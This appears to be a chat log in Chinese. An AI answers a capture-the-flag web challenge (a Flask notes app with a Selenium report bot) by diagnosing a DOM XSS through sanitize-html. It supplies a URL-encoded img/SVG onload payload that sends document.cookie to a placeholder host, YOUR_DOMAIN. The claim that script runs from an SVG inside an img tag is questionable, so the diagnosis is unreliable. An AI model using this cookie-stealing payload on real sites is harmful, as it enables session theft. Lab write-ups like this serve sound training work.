以下是一个web挑战,源码分别为: app.py: from flask import * from...
생성일: 2025년 7월 12일
생성일: 2025년 7월 12일
以下是一个web挑战,源码分别为:
app.py:
from flask import *
from os import *
from bot import *
from urllib.parse import *
app=Flask(name)
app.config["SECRET_KEY"]=urandom(32)
@app.route("/", methods=["POST", "GET"])
def note():
return render_template("notes.html")
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "GET":
return render_template("visit.html")
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
textif parsed_url.scheme not in ["http", "https"]: return {"error": "Invalid scheme."}, 400 bot.visit(url) bot.close() return {"visited": url}, 200 else: return {"error": "URL parameter is missing!"}, 400
if name=="main":
app.run(host="0.0.0.0", port=5000)
bot.py:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
class Bot:
def init(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")
textself.driver = webdriver.Chrome(options=chrome_options) def visit(self, url): self.driver.get("http://127.0.0.1:5000/") self.driver.add_cookie({ "name": "flag", "value": "L3AK{fake_flag}", "httponly": False }) self.driver.get(url) time.sleep(1) self.driver.refresh() print(f"Visited {url}") def close(self): self.driver.quit()
notes.html:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Notes</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet"> <style> * { box-sizing: border-box; }</style> <script src="/static/js/sanitize-html.min.js"></script> <script src="/static/js/Query.js"></script> </head> <body> <h2>Notes go here</h2> <form id="notesForm" action="/" method="GET"> <textarea name="note" placeholder="Write your note here..." required></textarea><br> <button type="submit">Add Note</button> </form> <div id="notesPlaceholder"></div> <script src="/static/js/index.js"></script> </body> </html>textbody { font-family: 'Inter', sans-serif; margin: 0; padding: 0; display: flex; flex-direction: column; align-items: center; min-height: 100vh; background: linear-gradient(135deg, #2f2f4f, #1e1e2f); color: #fff; padding: 40px 20px; } h2 { margin-bottom: 20px; font-weight: 600; font-size: 24px; color: #f0f0f0; } form { background-color: #2d2d44; padding: 25px 30px; border-radius: 16px; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.25); max-width: 600px; width: 100%; text-align: center; margin-bottom: 30px; } textarea { width: 100%; padding: 12px 15px; font-size: 16px; border-radius: 8px; border: none; resize: vertical; min-height: 120px; background-color: #3a3a55; color: #f0f0f0; margin-bottom: 20px; outline: none; transition: background-color 0.2s ease; } textarea::placeholder { color: #aaa; } textarea:focus { background-color: #444466; } button { width: 100%; padding: 12px; font-size: 16px; background-color: #5c6bc0; color: white; border: none; border-radius: 8px; cursor: pointer; transition: background-color 0.2s ease; } button:hover { background-color: #7986cb; } #notesPlaceholder { width: 100%; max-width: 600px; background-color: #2d2d44; padding: 20px 25px; border-radius: 16px; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2); color: #ddd; } @media (max-width: 600px) { form, #notesPlaceholder { padding: 20px; } h2 { font-size: 20px; } }
visit.html:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>XSS Bot</title> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet"> <style> * { box-sizing: border-box; }</style> </head> <body> <div class="container"> <h2>XSS Bot URL Submitter</h2> <form id="registerForm" action="/report" method="POST"> <input type="text" placeholder="Enter URL to report" name="url" required> <button type="submit">Submit</button> </form> </div> </body> </html>textbody { font-family: 'Inter', sans-serif; margin: 0; padding: 0; display: flex; align-items: center; justify-content: center; min-height: 100vh; background: linear-gradient(135deg, #2f2f4f, #1e1e2f); color: #fff; } .container { background-color: #2d2d44; padding: 30px 40px; border-radius: 16px; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.25); text-align: center; width: 100%; max-width: 400px; } h2 { margin-bottom: 20px; font-weight: 600; font-size: 24px; color: #f0f0f0; } input[type="text"] { width: 100%; padding: 12px 15px; margin-bottom: 20px; border: none; border-radius: 8px; font-size: 16px; background-color: #3a3a55; color: #f0f0f0; outline: none; transition: background-color 0.2s ease; } input[type="text"]::placeholder { color: #aaa; } input[type="text"]:focus { background-color: #444466; } button { width: 100%; padding: 12px; font-size: 16px; background-color: #5c6bc0; color: white; border: none; border-radius: 8px; cursor: pointer; transition: background-color 0.2s ease; } button:hover { background-color: #7986cb; } @media (max-width: 500px) { .container { padding: 20px; } h2 { font-size: 20px; } }
index.js:
document.addEventListener('DOMContentLoaded', function() {
const [_, query] = [window.location, QueryArg.parseQuery(window.location.search)];
const { note: n } = query;
textconst actions = [ () => console.debug(n), () => { const el = document.getElementById('notesPlaceholder'); if (n) { const renderNote = txt => `<div class="note-item">${sanitizeHtml(txt)}</div>`; el.innerHTML += renderNote(n); } } ]; actions.forEach(fn => fn());
});
请找出漏洞并给出poc
漏洞成因
DOM XSS
/
页面通过 ?note=
里的内容来渲染笔记:
jsel.innerHTML += `<div class="note-item">${sanitizeHtml(txt)}</div>`;
代码依赖 sanitize-html 的默认规则来过滤 HTML,但该规则允许 <img>
标签的 src
使用 data:
协议。
如果 data:
里是一段 SVG,浏览器会再次解析这段 SVG,而 sanitize-html 并不会深入到 data:
里的内容去做二次过滤。
在 SVG 根元素上挂一个 onload
事件即可执行任意脚本,从而读到同源 cookie。
泄露 flag
机器人的 Bot.visit()
先访问 http://127.0.0.1:5000/
并植入非 HttpOnly
的
textflag=L3AK{fake_flag}
随后再打开攻击者提供的 URL(仍在 127.0.0.1 同源),脚本即可用 document.cookie
直接拿到 flag 并向外发送。
把
YOUR_DOMAIN
换成你控制的服务器,用来接收回显的 flag。
textPOST /report HTTP/1.1 Host: challenge.site # 挑战站点域名 Content-Type: application/x-www-form-urlencoded url=http://127.0.0.1:5000/?note=%3Cimg%20src%3D%22data:image/svg+xml,%3Csvg%20xmlns%3D'http://www.w3.org/2000/svg'%20onload%3D'document.location%3D%60https://YOUR_DOMAIN/? %24{encodeURIComponent(document.cookie)}%60'%3E%3C/svg%3E%22%3E
URL 解码后 的 note
参数:
html<img src="data:image/svg+xml, <svg xmlns='http://www.w3.org/2000/svg' onload='document.location=`https://YOUR_DOMAIN/?${encodeURIComponent(document.cookie)}`'> </svg>">
机器人流程
载入 /
→ 设置 flag
Cookie
打开包含上面 payload 的 URL
SVG onload
触发 → 通过 location
重定向,把 document.cookie
(含 flag)拼进查询串发到你的服务器
你在 YOUR_DOMAIN
的日志里就能看到形如
GET /?flag=L3AK%7Bfake_flag%7D HTTP/1.1
data:
URI,或在 sanitize-html 的 allowedSchemesByTag
中把 <img>
的 data:
移除。HttpOnly
,并限制 SameSite=Strict
,降低 XSS 成功后的危害范围。